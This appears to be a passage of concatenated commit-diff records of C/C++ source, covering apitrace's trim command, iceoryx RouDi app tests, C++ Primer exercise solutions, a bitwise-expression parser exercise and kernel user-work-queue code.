the user-specified call set,\n * then require it (and all dependencies) in the trimmed\n * output. *\/\n if (options->calls.contains(*call) ||\n options->frames.contains(frame, call->flags)) {\n\n analyzer.require(call);\n }\n\n \/* Regardless of whether we include this call or not, we do\n * some dependency tracking (unless disabled by the user). We\n * do this even for calls we have included in the output so\n * that any state updates get performed. *\/\n if (options->dependency_analysis) {\n analyzer.analyze(call);\n }\n\n NEXT:\n if (call->flags & trace::CALL_FLAG_END_FRAME)\n frame++;\n\n delete call;\n }\n\n \/* Prepare output file and writer for output. *\/\n if (options->output.empty()) {\n os::String base(filename);\n base.trimExtension();\n\n options->output = std::string(base.str()) + std::string(\"-trim.trace\");\n }\n\n trace::Writer writer;\n if (!writer.open(options->output.c_str())) {\n std::cerr << \"error: failed to create \" << filename << \"\\n\";\n return 1;\n }\n\n \/* Reset bookmark for pass 2. *\/\n p.setBookmark(beginning);\n\n \/* In pass 2, emit the calls that are required. *\/\n required = analyzer.get_required();\n\n frame = 0;\n call_range_first = -1;\n call_range_last = -1;\n while ((call = p.parse_call())) {\n\n \/* There's no use doing any work past the last call or frame\n * requested by the user. *\/\n if (call->no > options->calls.getLast() ||\n frame > options->frames.getLast()) {\n\n break;\n }\n\n if (required->find(call->no) != required->end()) {\n writer.writeCall(call);\n\n if (options->print_callset) {\n if (call_range_first < 0) {\n call_range_first = call->no;\n printf (\"%d\", call_range_first);\n } else if (call->no != call_range_last + 1) {\n if (call_range_last != call_range_first)\n printf (\"-%d\", call_range_last);\n call_range_first = call->no;\n printf (\",%d\", call_range_first);\n }\n call_range_last = call->no;\n }\n }\n\n if (call->flags & trace::CALL_FLAG_END_FRAME) {\n frame++;\n }\n\n delete call;\n }\n\n if (options->print_callset) {\n if (call_range_last != call_range_first)\n printf (\"-%d\\n\", call_range_last);\n }\n\n std::cout << \"Trimmed trace is available as \" << options->output << \"\\n\";\n\n return 0;\n}\n\nstatic int\ncommand(int argc, char *argv[])\n{\n struct trim_options options;\n\n options.calls = trace::CallSet(trace::FREQUENCY_NONE);\n options.frames = trace::CallSet(trace::FREQUENCY_NONE);\n options.dependency_analysis = true;\n options.prune_uninteresting = true;\n options.output = \"\";\n options.thread = -1;\n options.print_callset = 0;\n\n int opt;\n while ((opt = getopt_long(argc, argv, shortOptions, longOptions, NULL)) != -1) {\n switch (opt) {\n case 'h':\n help();\n return 0;\n case CALLS_OPT:\n options.calls = trace::CallSet(optarg);\n break;\n case FRAMES_OPT:\n options.frames = trace::CallSet(optarg);\n break;\n case DEPS_OPT:\n options.dependency_analysis = true;\n break;\n case NO_DEPS_OPT:\n options.dependency_analysis = false;\n break;\n case PRUNE_OPT:\n options.prune_uninteresting = true;\n break;\n case NO_PRUNE_OPT:\n options.prune_uninteresting = false;\n break;\n case 'x':\n options.dependency_analysis = false;\n options.prune_uninteresting = false;\n break;\n case THREAD_OPT:\n options.thread = atoi(optarg);\n break;\n case 'o':\n options.output = optarg;\n break;\n case PRINT_CALLSET_OPT:\n options.print_callset = 1;\n break;\n default:\n std::cerr << \"error: unexpected option `\" << opt << \"`\\n\";\n usage();\n return 1;\n }\n }\n\n \/* If neither of --calls nor --frames was set, default to the\n * entire set of calls. *\/\n if (options.calls.empty() && options.frames.empty()) {\n options.calls = trace::CallSet(trace::FREQUENCY_ALL);\n }\n\n if (optind >= argc) {\n std::cerr << \"error: apitrace trim requires a trace file as an argument.\\n\";\n usage();\n return 1;\n }\n\n if (argc > optind + 1) {\n std::cerr << \"error: extraneous arguments:\";\n for (int i = optind + 1; i < argc; i++) {\n std::cerr << \" \" << argv[i];\n }\n std::cerr << \"\\n\";\n usage();\n return 1;\n }\n\n if (options.dependency_analysis) {\n std::cerr <<\n \"Note: The dependency analysis in \\\"apitrace trim\\\" is still experimental.\\n\"\n \" We hope that it will be useful, but it may lead to incorrect results.\\n\"\n \" If you find a trace that misbehaves while trimming, please share that\\n\"\n \" by sending email to apitrace@lists.freedesktop.org, cworth@cworth.org\\n\";\n }\n\n return trim_trace(argv[optind], &options);\n}\n\nconst Command trim_command = {\n \"trim\",\n synopsis,\n help,\n command\n};\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2019, 2021 by Robert Bosch GmbH, Apex.AI Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"iceoryx_posh\/roudi\/iceoryx_roudi_app.hpp\"\n#include \"iceoryx_posh\/roudi\/roudi_cmd_line_parser_config_file_option.hpp\"\n#include \"iceoryx_posh\/roudi\/roudi_config_toml_file_provider.hpp\"\n#include \"iceoryx_posh\/internal\/log\/posh_logging.hpp\"\n\n#include <gmock\/gmock.h>\n#include <gtest\/gtest.h>\n\nusing namespace ::testing;\nusing ::testing::Return;\n\nusing iox::roudi::IceOryxRouDiApp;\n\nnamespace iox\n{\nnamespace test\n{\n\nclass IceoryxRoudiApp_Child : public IceOryxRouDiApp\n{\n public:\n\n IceoryxRoudiApp_Child(const config::CmdLineParser& cmdLineParser, const RouDiConfig_t& roudiConfig):IceOryxRouDiApp(cmdLineParser,roudiConfig)\n {\n }\n\n bool getVariableMRun()\n {\n return m_run;\n }\n\n void setVariableMRun(bool condition)\n {\n m_run = condition;\n }\n\n uint8_t callRun() noexcept\n {\n return run();\n }\n};\n\n\/\/\/ @brief Test goal: This file tests class roudi app\nclass IceoryxRoudiApp_test : public Test\n{\n public:\n\n iox::config::CmdLineParserConfigFileOption cmdLineParser;\n int argc;\n char* argv[];\n\n virtual void setUp()\n {\n cmdLineParser.parse(argc, argv);\n }\n};\n\nTEST_F(IceoryxRoudiApp_test, CheckConstructorIsSuccessfull)\n{\n IceoryxRoudiApp_Child roudi(cmdLineParser, iox::RouDiConfig_t().setDefaults());\n\n EXPECT_TRUE(roudi.getVariableMRun());\n}\n\nTEST_F(IceoryxRoudiApp_test, CheckRunMethodWithMRunFalseReturnExitSuccess)\n{\n IceoryxRoudiApp_Child roudi(cmdLineParser, iox::RouDiConfig_t().setDefaults());\n\n roudi.setVariableMRun(false);\n\n uint8_t result = roudi.callRun();\n\n EXPECT_EQ(result, EXIT_SUCCESS);\n}\n\n} \/\/ namespace test\n} \/\/ namespace iox<commit_msg>iox-#454 improve test for roudi app<commit_after>\/\/ Copyright (c) 2019, 2021 by Robert Bosch GmbH, Apex.AI Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"iceoryx_posh\/roudi\/iceoryx_roudi_app.hpp\"\n#include \"iceoryx_posh\/roudi\/roudi_cmd_line_parser_config_file_option.hpp\"\n#include \"iceoryx_posh\/roudi\/roudi_config_toml_file_provider.hpp\"\n#include \"iceoryx_posh\/internal\/log\/posh_logging.hpp\"\n\n#include <gmock\/gmock.h>\n#include <gtest\/gtest.h>\n\nusing namespace ::testing;\nusing ::testing::Return;\n\nusing iox::roudi::IceOryxRouDiApp;\n\nnamespace iox\n{\nnamespace test\n{\n\nclass IceoryxRoudiApp_Child : public IceOryxRouDiApp\n{\n public:\n\n IceoryxRoudiApp_Child(const config::CmdLineArgs_t& cmdLineArgs, const RouDiConfig_t& roudiConfig):IceOryxRouDiApp(cmdLineArgs,roudiConfig)\n {\n }\n\n bool getVariableMRun()\n {\n return m_run;\n }\n\n void setVariableMRun(bool condition)\n {\n m_run = condition;\n }\n\n uint8_t callRun() noexcept\n {\n return run();\n }\n};\n\n\/\/\/ @brief Test goal: This file tests class roudi app\nclass IceoryxRoudiApp_test : public Test\n{\n public:\n\n iox::config::CmdLineParserConfigFileOption cmdLineParser;\n\n virtual void setUp()\n {\n \n }\n};\n\nTEST_F(IceoryxRoudiApp_test, CheckConstructorIsSuccessfull)\n{\n constexpr uint8_t numberOfArgs{1U};\n char* args[numberOfArgs];\n char appName[] = \".\/foo\";\n args[0] = &appName[0];\n\n auto cmdLineArgs = cmdLineParser.parse(numberOfArgs, args);\n\n IceoryxRoudiApp_Child roudi(cmdLineArgs.value(), iox::RouDiConfig_t().setDefaults());\n\n EXPECT_TRUE(roudi.getVariableMRun());\n}\n\nTEST_F(IceoryxRoudiApp_test, CreateTwoRoudiAppIsSuccessfull)\n{\n constexpr uint8_t numberOfArgs{1U};\n char* args[numberOfArgs];\n char appName[] = \".\/foo\";\n args[0] = &appName[0];\n\n auto cmdLineArgs = cmdLineParser.parse(numberOfArgs, args);\n\n IceoryxRoudiApp_Child roudi(cmdLineArgs.value(), iox::RouDiConfig_t().setDefaults());\n\n IceoryxRoudiApp_Child roudiTest(cmdLineArgs.value(), iox::RouDiConfig_t().setDefaults());\n\n EXPECT_TRUE(roudiTest.getVariableMRun());\n}\n\nTEST_F(IceoryxRoudiApp_test, CheckRunMethodWithMRunFalseReturnExitSuccess)\n{\n constexpr uint8_t numberOfArgs{1U};\n char* args[numberOfArgs];\n char appName[] = \".\/foo\";\n args[0] = &appName[0];\n\n auto cmdLineArgs = cmdLineParser.parse(numberOfArgs, args);\n\n IceoryxRoudiApp_Child roudi(cmdLineArgs.value(), iox::RouDiConfig_t().setDefaults());\n\n roudi.setVariableMRun(false);\n\n uint8_t result = roudi.callRun();\n\n EXPECT_EQ(result, EXIT_SUCCESS);\n}\n\nTEST_F(IceoryxRoudiApp_test, ConstructorCalledWithArgVersionSetRunVariableToFalse)\n{\n constexpr uint8_t numberOfArgs{2U};\n char* args[numberOfArgs];\n char appName[] = \".\/foo\";\n char option[] = \"-v\";\n args[0] = &appName[0];\n args[1] = &option[0];\n\n auto cmdLineArgs = cmdLineParser.parse(numberOfArgs, args);\n\n IceoryxRoudiApp_Child roudi(cmdLineArgs.value(), iox::RouDiConfig_t().setDefaults());\n\n EXPECT_FALSE(roudi.getVariableMRun());\n}\n\n\/*TEST_F(IceoryxRoudiApp_test, ConstructorCalledWithArgUniqueIdSetRunVariableToFalse)\n{\n constexpr uint8_t numberOfArgs{3U};\n char* args[numberOfArgs];\n char appName[] = \".\/foo\";\n char option[] = \"-u\";\n char value[] = \"4242\";\n args[0] = &appName[0];\n args[1] = &option[0];\n args[2] = &value[0];\n\n auto cmdLineArgs = cmdLineParser.parse(numberOfArgs, args);\n\n iox::cxx::optional<iox::Error> detectedError;\n auto errorHandlerGuard = iox::ErrorHandler::SetTemporaryErrorHandler(\n [&detectedError](const iox::Error error, const std::function<void()>, const iox::ErrorLevel errorLevel) {\n detectedError.emplace(error);\n EXPECT_THAT(errorLevel, Eq(iox::ErrorLevel::MODERATE));\n });\n\n IceoryxRoudiApp_Child roudi(cmdLineArgs.value(), iox::RouDiConfig_t().setDefaults());\n\n IceoryxRoudiApp_Child roudiTest(cmdLineArgs.value(), iox::RouDiConfig_t().setDefaults());\n\n ASSERT_THAT(detectedError.has_value(), Eq(true));\n EXPECT_THAT(detectedError.value(),\n Eq(iox::Error::kPOPO__TYPED_UNIQUE_ID_ROUDI_HAS_ALREADY_DEFINED_UNIQUE_ID));\n}*\/\n\n} \/\/ namespace test\n} \/\/ namespace iox<|endoftext|>"} {"text":"<commit_before>\/*!\n@file\n\n@copyright Edouard Alligand and Joel Falcou 2015-2017\n(See accompanying file LICENSE.md or copy at http:\/\/boost.org\/LICENSE_1_0.txt)\n*\/\n#ifndef BOOST_BRIGAND_FUNCTIONS_BITWISE_SHIFT_LEFT_HPP\n#define BOOST_BRIGAND_FUNCTIONS_BITWISE_SHIFT_LEFT_HPP\n\n#include <brigand\/types\/integral_constant.hpp>\n\nnamespace brigand\n{\n template <typename A, typename B>\n struct shift_left : brigand::integral_constant<typename A::value_type, (A::value << B::value)> {};\n}\n#endif\n<commit_msg>Delete shift_left.hpp<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/\/\n\/\/\/@Author PEZY\n\/\/\/@Date Aug. 2014\n\/\/\/@Brief\n\/\/\/ read a sequence of strings from cin and\n\/\/\/ store those values in a vector.\n\/\/\/\n\n#include <iostream>\n#include <vector>\n#include <string>\n\nint main()\n{\n std::vector<std::string> vec;\n std::string str;\n while (std::cin >> str)\n vec.push_back(str);\n\n return 0;\n}\n<commit_msg>Update ex3_15.cpp<commit_after>\/\/\/\n\/\/\/@Author @PEZY @Yue Wang \n\/\/\/@Date Aug. 2014, Jun 2015\n\/\/\/@Brief\n\/\/\/ read a sequence of strings from cin and\n\/\/\/ store those values in a vector.\n\/\/\/\n\n#include <iostream>\n#include <vector>\n#include <string>\n\nint main()\n{\n std::vector<std::string> vec;\n for (std::string buffer; std::cin >> buffer; vec.push_back(buffer));\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ ex7_07.cpp\n\/\/ Exercise 7.7\n\/\/\n\/\/ Created by pezy on 11\/8\/14.\n\/\/ Copyright (c) 2014 pezy. All rights reserved.\n\/\/\n\n#include \"ex7_06.h\"\n\nint main()\n{\n Sales_data total;\n if (read(std::cin, total)) {\n Sales_data trans;\n while (read(std::cin, trans)) {\n if (total.isbn() == trans.isbn())\n total.combine(trans);\n else {\n print(std::cout, total) << std::endl;\n total = trans;\n }\n }\n print(std::cout, total) << std::endl;\n }\n else {\n std::cerr << \"No data?!\" << std::endl;\n return -1;\n }\n\n return 0;\n}\n<commit_msg>Update ex7_07.cpp<commit_after>\/\/\n\/\/ ex7_07.cpp\n\/\/ Exercise 7.7\n\/\/\n\/\/ Created by pezy on 11\/8\/14.\n\/\/ Copyright (c) 2014 pezy. All rights reserved.\n\/\/\n\n#include \"ex7_06.h\"\n#include <iostream>\nusing std::cin;\nusing std::cout;\nusing std::cerr;\nusing std::endl;\n\nint main()\n{\n Sales_data total;\n if (read(cin, total)) {\n Sales_data trans;\n while (read(cin, trans)) {\n if (total.isbn() == trans.isbn())\n total.combine(trans);\n else {\n print(cout, total) << endl;\n total = trans;\n }\n }\n print(cout, total) << endl;\n }\n else {\n cerr << \"No data?!\" << std::endl;\n return -1;\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/! @file Exercise 9.27\n\/\/! @author pezy\n\/\/! @date 2014-12-03\n\/\/! @Brief Write a program to find and remove the odd-valued elements in a forward_list<int>.\n\n#include<iostream>\n#include <forward_list>\nusing namespace std;\nint main()\n{\n\n\tforward_list<int> flst{0,1,2,3,4,5,6,7,8,9};\n\n\tfor(auto prev=flst.before_begin(), curr=flst.begin(); curr!=flst.end(); )\n if(*curr & 0x1)\n curr=flst.erase_after(prev);\n else\n {\n prev=curr;\n ++curr;\n }\n for(auto i: flst)\n cout<<i<<\" \";\n cout<<endl;\n}\n<commit_msg>Update ex9_27.cpp<commit_after>\/\/! @file Exercise 9.27\n\/\/! @author pezy\n\/\/! @date 2014-12-03\n\/\/! @Brief Write a program to find and remove the odd-valued elements in a forward_list<int>.\n\n#include<iostream>\n#include <forward_list>\nusing namespace std;\n\nint main()\n{\n\n\tforward_list<int> flst{0,1,2,3,4,5,6,7,8,9};\n\n\tfor(auto prev=flst.before_begin(), curr=flst.begin(); curr!=flst.end(); )\n if(*curr & 0x1)\n curr=flst.erase_after(prev);\n else\n {\n prev=curr;\n ++curr;\n }\n for(auto i: flst)\n cout<<i<<\" \";\n cout<<endl;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\nEx 6.7: Write a grammar for bitwise logical expressions. A bitwise logical\nexpression is much like an arithmetic expression except that the operators are !\n(not), ~ (complement), & (and), | (or), and ^ (exclusive or). Each operator does\nits operation to each bit of its integer operands (see §25.5). ! and ~ are\nprefix unary operators. A ^ binds tighter than a | (just as * binds tighter than\n+) so that x|y^z means x|(y^z) rather than (x|y)^z. The & operator binds tighter\nthan ^ so that x^y&z means x^(y&z).*\/\n\/*\n\n\/\/ | < ^ < & < ~!\n\nGrammar:\n Expression:\n Term\n Expression | Term \/\/ Handle |\n Term:\n Primary\n Term ^ Primary\n Primary\n Unit\n Primary & Unit\n Unit\n Number(int form)\n ~Number\n !Number\n ( Expression )\n ~( Expression )\n !( Expression )\n\n*\/\n\n#include \"std_lib_facilities.h\"\n#include <cassert>\n\n\/\/------------------------------------------------------------------------------\n\nclass Token{\npublic:\n char kind;\n int value;\n Token(char ch)\n : kind(ch), value(0) {}\n Token(char ch, int val)\n : kind(ch), value(val) {}\n};\n\n\/\/------------------------------------------------------------------------------\n\nclass Token_stream{\npublic:\n Token_stream();\n Token get();\n void putback(Token t);\nprivate:\n bool full;\n Token buffer;\n};\n\nToken_stream::Token_stream()\n : full(false), buffer(0)\n{}\n\nToken Token_stream::get(){\n if(full){\n full = false;\n return buffer;\n }\n\n char ch;\n cin >> ch;\n switch(ch){\n case ';':\n case 'q':\n case '~': case '!': case '^': case '|': case '%': case '(' : case ')':\n return Token(ch);\n case '0': case '1': case '2': case '3': case '4':\n case '5': case '6': case '7': case '9':\n return Token('8', ch - '0');\n default:\n error(\"Bad Token\");\n }\n}\n\n\/\/------------------------------------------------------------------------------\n\n\/\/ The putback() member function puts its argument back into the Token_stream's buffer:\nvoid Token_stream::putback(Token t)\n{\n if (full) error(\"putback() into a full buffer\");\n buffer = t; \/\/ copy t to buffer\n full = true; \/\/ buffer is now full\n}\n\nint Unit();\nint Primary();\nint Term();\nint Expression();\n\n\nToken_stream ts;\n\nint Expression(){\n int left = Term();\n Token t = ts.get();\n while(true){\n if(t.kind == '|'){\n left |= Expression();\n t = ts.get();\n }else{\n ts.putback(t);\n return left;\n }\n }\n}\n\nint Term(){\n int left = Primary();\n Token t = ts.get();\n while(true){\n if(t.kind == '^'){\n left ^= Expression();\n t = ts.get();\n }else{\n ts.putback(t);\n return left;\n }\n }\n}\n\nint Primary(){\n int left = Unit();\n Token t = ts.get();\n while(true){\n if(t.kind == '&'){\n left &= Expression();\n t = ts.get();\n }else{\n ts.putback(t);\n return left;\n }\n }\n}\n\nint Unit(){\n Token t = ts.get();\n switch(t.kind){\n case '8':\n return t.value;\n case '(':\n {\n int ret = Expression();\n ret = !ret;\n t = ts.get();\n if(t.kind != ')')\n error(\"Nead )\");\n return ret;\n }\n case '~':\n {\n t = ts.get();\n if(t.kind == '8')\n return ~(t.value);\n if(t.kind == '('){\n int ret = Expression();\n ret = ~ret;\n t = ts.get();\n if(t.kind != ')')\n error(\"Nead )\");\n return ret;\n }\n\n }\n case '!':\n {\n t = ts.get();\n if(t.kind == '8')\n return !(t.value);\n if(t.kind == '('){\n int ret = Expression();\n ret = !ret;\n t = ts.get();\n if(t.kind != ')')\n error(\"Nead )\");\n return ret;\n }\n\n }\n }\n}\n\nint main(){\n try{\n int val = 0;\n cout << \"Please input the logical expression, end with ; \" << endl;\n while(cin){\n Token t = ts.get();\n\n if(t.kind == 'q') break;\n if(t.kind == ';')\n cout << \" = \" << val << endl;\n else\n ts.putback(t);\n val = Expression();\n }\n }\n catch (exception& e) {\n cerr << \"error: \" << e.what() << '\\n';\n keep_window_open();\n return 1;\n }\n catch (...) {\n cerr << \"Oops: unknown exception!\\n\";\n keep_window_open();\n return 2;\n }\n}\n<commit_msg>Fix Ex6.7<commit_after>\/*\nEx 6.7: Write a grammar for bitwise logical expressions. A bitwise logical\nexpression is much like an arithmetic expression except that the operators are !\n(not), ~ (complement), & (and), | (or), and ^ (exclusive or). Each operator does\nits operation to each bit of its integer operands (see §25.5). ! and ~ are\nprefix unary operators. A ^ binds tighter than a | (just as * binds tighter than\n+) so that x|y^z means x|(y^z) rather than (x|y)^z. The & operator binds tighter\nthan ^ so that x^y&z means x^(y&z).*\/\n\/*\n\n\/\/ | < ^ < & < ~!\n\nGrammar:\n Expression:\n Term\n Expression | Term \/\/ Handle |\n Term:\n Primary\n Term ^ Primary\n Primary\n Unit\n Primary & Unit\n Unit\n Number(int form)\n ~Number\n !Number\n ( Expression )\n ~( Expression )\n !( Expression )\n\n*\/\n\n#include \"std_lib_facilities.h\"\n#include <cassert>\n\n\/\/------------------------------------------------------------------------------\n\nclass Token{\npublic:\n char kind;\n int value;\n Token(char ch)\n : kind(ch), value(0) {}\n Token(char ch, int val)\n : kind(ch), value(val) {}\n};\n\n\/\/------------------------------------------------------------------------------\n\nclass Token_stream{\npublic:\n Token_stream();\n Token get();\n void putback(Token t);\nprivate:\n bool full;\n Token buffer;\n};\n\nToken_stream::Token_stream()\n : full(false), buffer(0)\n{}\n\nToken Token_stream::get(){\n if(full){\n full = false;\n return buffer;\n }\n\n char ch;\n cin >> ch;\n switch(ch){\n case ';':\n case 'q':\n case '~': case '!': case '^': case '|': case '&': case '(' : case ')':\n return Token(ch);\n case '0': case '1': case '2': case '3': case '4':\n case '5': case '6': case '7': case '9':\n return Token('8', ch - '0');\n default:\n error(\"Bad Token\");\n }\n}\n\n\/\/------------------------------------------------------------------------------\n\n\/\/ The putback() member function puts its argument back into the Token_stream's buffer:\nvoid Token_stream::putback(Token t)\n{\n if (full) error(\"putback() into a full buffer\");\n buffer = t; \/\/ copy t to buffer\n full = true; \/\/ buffer is now full\n}\n\nint Unit();\nint Primary();\nint Term();\nint Expression();\n\n\nToken_stream ts;\n\nint Expression(){\n int left = Term();\n Token t = ts.get();\n while(true){\n if(t.kind == '|'){\n left |= Expression();\n t = ts.get();\n }else{\n ts.putback(t);\n return left;\n }\n }\n}\n\nint Term(){\n int left = Primary();\n Token t = ts.get();\n while(true){\n if(t.kind == '^'){\n left ^= Expression();\n t = ts.get();\n }else{\n ts.putback(t);\n return left;\n }\n }\n}\n\nint Primary(){\n int left = Unit();\n Token t = ts.get();\n while(true){\n if(t.kind == '&'){\n left &= Expression();\n t = ts.get();\n }else{\n ts.putback(t);\n return left;\n }\n }\n}\n\nint Unit(){\n Token t = ts.get();\n switch(t.kind){\n case '8':\n return t.value;\n case '(':\n {\n int ret = Expression();\n ret = !ret;\n t = ts.get();\n if(t.kind != ')')\n error(\"Nead )\");\n return ret;\n }\n case '~':\n {\n t = ts.get();\n if(t.kind == '8')\n return ~(t.value);\n if(t.kind == '('){\n int ret = Expression();\n ret = ~ret;\n t = ts.get();\n if(t.kind != ')')\n error(\"Nead )\");\n return ret;\n }\n\n }\n case '!':\n {\n t = ts.get();\n if(t.kind == '8')\n return !(t.value);\n if(t.kind == '('){\n int ret = Expression();\n ret = !ret;\n t = ts.get();\n if(t.kind != ')')\n error(\"Nead )\");\n return ret;\n }\n\n }\n }\n}\n\nint main(){\n try{\n int val = 0;\n cout << \"Please input the logical expression, end with ; \" << endl;\n while(cin){\n Token t = ts.get();\n\n if(t.kind == 'q') break;\n if(t.kind == ';')\n cout << \" = \" << val << endl;\n else\n ts.putback(t);\n val = Expression();\n }\n }\n catch (exception& e) {\n cerr << \"error: \" << e.what() << '\\n';\n keep_window_open();\n return 1;\n }\n catch (...) {\n cerr << \"Oops: unknown exception!\\n\";\n keep_window_open();\n return 2;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"types.h\"\n#include \"amd64.h\"\n#include \"kernel.hh\"\n#include \"cpu.hh\"\n#include \"gc.hh\"\n#include \"percpu.hh\"\n#include \"spinlock.h\"\n#include \"condvar.h\"\n#include \"proc.hh\"\n#include \"uwq.hh\"\n#include \"vm.hh\"\n#include \"kalloc.hh\"\n#include \"bits.hh\"\nextern \"C\" {\n#include \"kern_c.h\"\n}\n\nbool\nuwq_trywork(void)\n{\n \/\/ Returning true means uwq added a thread to the run queue\n\n u64 i, k;\n\n \/\/ A \"random\" victim CPU\n k = rdtsc();\n for (i = 0; i < NCPU; i++) {\n u64 j = (i+k) % NCPU;\n\n if (j == mycpuid())\n continue;\n struct cpu *c = &cpus[j];\n \n \/\/ The gc_epoch is for p and uwq\n scoped_gc_epoch xgc();\n barrier();\n\n struct proc *p = c->proc;\n if (p == nullptr)\n continue;\n uwq* uwq = p->uwq;\n if (uwq == nullptr)\n continue;\n\n if (uwq->haswork()) {\n if (uwq->tryworker())\n return true;\n break;\n }\n }\n\n return false;\n}\n\nlong\nsys_wqwait(void)\n{\n uwq_worker* w = myproc()->worker;\n if (w == nullptr)\n return -1;\n\n return w->wait();\n}\n\n\/\/\n\/\/ uwq_worker\n\/\/\nuwq_worker::uwq_worker(uwq* u, proc* p)\n : uwq_(u), proc_(p), running_(false)\n{\n initlock(&lock_, \"worker_lock\", 0);\n initcondvar(&cv_, \"worker_cv\");\n}\n\nvoid\nuwq_worker::exit(void)\n{\n if (--uwq_->uref_ == 0)\n gc_delayed(uwq_);\n release(&lock_);\n delete this;\n ::exit();\n}\n\nlong\nuwq_worker::wait(void)\n{\n acquire(&lock_);\n if (!uwq_->valid())\n this->exit();\n\n running_ = false;\n cv_sleep(&cv_, &lock_);\n\n if (!uwq_->valid())\n this->exit();\n release(&lock_);\n return 0;\n}\n\n\/\/\n\/\/ uwq\n\/\/\nuwq*\nuwq::alloc(vmap* vmap, filetable *ftable)\n{\n uwq_ipcbuf* ipc;\n uwq* u;\n\n ipc = (uwq_ipcbuf*) ksalloc(slab_userwq); \n if (ipc == nullptr)\n return nullptr;\n\n ftable->incref();\n vmap->incref();\n\n u = new uwq(vmap, ftable, ipc);\n if (u == nullptr) {\n ftable->decref();\n vmap->decref();\n ksfree(slab_userwq, ipc);\n return nullptr;\n }\n\n if (mapkva(vmap->pml4, (char*)ipc, USERWQ, USERWQSIZE)) {\n ftable->decref();\n vmap->decref();\n ksfree(slab_userwq, ipc);\n u->dec();\n return nullptr;\n }\n\n return u;\n}\n\nuwq::uwq(vmap* vmap, filetable* ftable, uwq_ipcbuf* ipc) \n : rcu_freed(\"uwq\"),\n vmap_(vmap), ftable_(ftable), ipc_(ipc),\n uentry_(0), ustack_(UWQSTACK), uref_(0)\n{\n for (int i = 0; i < NCPU; i++)\n ipc_->len[i].v_ = 0;\n\n initlock(&lock_, \"uwq_lock\", 0);\n\n for (int i = 0; i < NWORKERS; i++)\n worker_[i].store(nullptr);\n}\n\nuwq::~uwq(void)\n{ \n if (ipc_ != nullptr)\n ksfree(slab_userwq, ipc_);\n vmap_->decref();\n ftable_->decref();\n}\n\nbool\nuwq::haswork(void) const\n{\n if (ipc_ == nullptr)\n return false;\n\n for (int i = 0; i < NCPU; i++) {\n if (ipc_->len[i].v_ > 0) {\n return true;\n }\n }\n return false;\n}\n\nbool\nuwq::tryworker(void)\n{\n if (!valid())\n return false;\n\n \/\/ Try to start a worker thread\n scoped_acquire lock0(&lock_);\n\n for (int i = 0; i < NWORKERS; i++) {\n if (worker_[i] == nullptr)\n continue;\n\n uwq_worker *w = worker_[i];\n if (w->running_)\n continue;\n else {\n scoped_acquire lock1(&w->lock_);\n proc* p = w->proc_;\n\n acquire(&p->lock);\n p->cpuid = mycpuid();\n release(&p->lock);\n\n w->running_ = true;\n cv_wakeup(&w->cv_);\n return true;\n }\n }\n lock0.release();\n\nagain:\n u64 uref = uref_.load();\n if (uref < ipc_->maxworkers) {\n if (!cmpxch(&uref_, uref, uref+1))\n goto again;\n \/\/ Guaranteed to have slot in worker_\n\n proc* p = allocworker();\n if (p != nullptr) {\n uwq_worker* w = new uwq_worker(this, p);\n assert(w != nullptr);\n\n ++uref_;\n p->worker = w;\n w->running_ = true;\n\n acquire(&p->lock);\n p->cpuid = mycpuid();\n addrun(p);\n release(&p->lock);\n\n for (int i = 0; i < NWORKERS; i++) {\n if (worker_[i] == nullptr)\n if (cmpxch(&worker_[i], (uwq_worker*)nullptr, w))\n return true;\n }\n panic(\"uwq::tryworker: oops\");\n }\n }\n \n return false;\n}\n\nvoid\nuwq::finish(void)\n{\n bool gcnow = true;\n\n scoped_acquire lock0(&lock_);\n for (int i = 0; i < NWORKERS; i++) {\n if (worker_[i] != nullptr) {\n uwq_worker* w = worker_[i];\n gcnow = false;\n acquire(&w->lock_);\n cv_wakeup(&w->cv_);\n release(&w->lock_);\n }\n }\n \n if (gcnow)\n gc_delayed(this);\n}\n\nvoid\nuwq::onzero() const\n{\n uwq *u = (uwq*)this;\n u->finish();\n}\n\nvoid\nuwq::setuentry(uptr uentry)\n{\n uentry_ = uentry;\n}\n\nproc*\nuwq::allocworker(void)\n{\n uptr uentry = uentry_;\n\n if (uentry == 0)\n return nullptr;\n\n proc* p = proc::alloc();\n if (p == nullptr)\n return nullptr;\n safestrcpy(p->name, \"uwq_worker\", sizeof(p->name));\n\n \/\/ finishproc will drop these refs\n vmap_->incref();\n ftable_->incref();\n \n p->vmap = vmap_;\n p->ftable = ftable_;\n \n struct vmnode *vmn;\n if ((vmn = new vmnode(USTACKPAGES)) == nullptr) {\n finishproc(p);\n return nullptr;\n }\n\n \/\/ Include a bumper page\n uptr ustack = ustack_.fetch_add((USTACKPAGES*PGSIZE)+PGSIZE);\n uptr stacktop = ustack + (USTACKPAGES*PGSIZE);\n if (vmap_->insert(vmn, ustack, 1) < 0) {\n delete vmn;\n finishproc(p);\n return nullptr;\n }\n\n p->tf->rsp = stacktop - 8;\n p->tf->rip = uentry;\n p->tf->cs = UCSEG | 0x3;\n p->tf->ds = UDSEG | 0x3;\n p->tf->ss = p->tf->ds;\n p->tf->rflags = FL_IF;\n\n return p;\n}\n<commit_msg>Don't 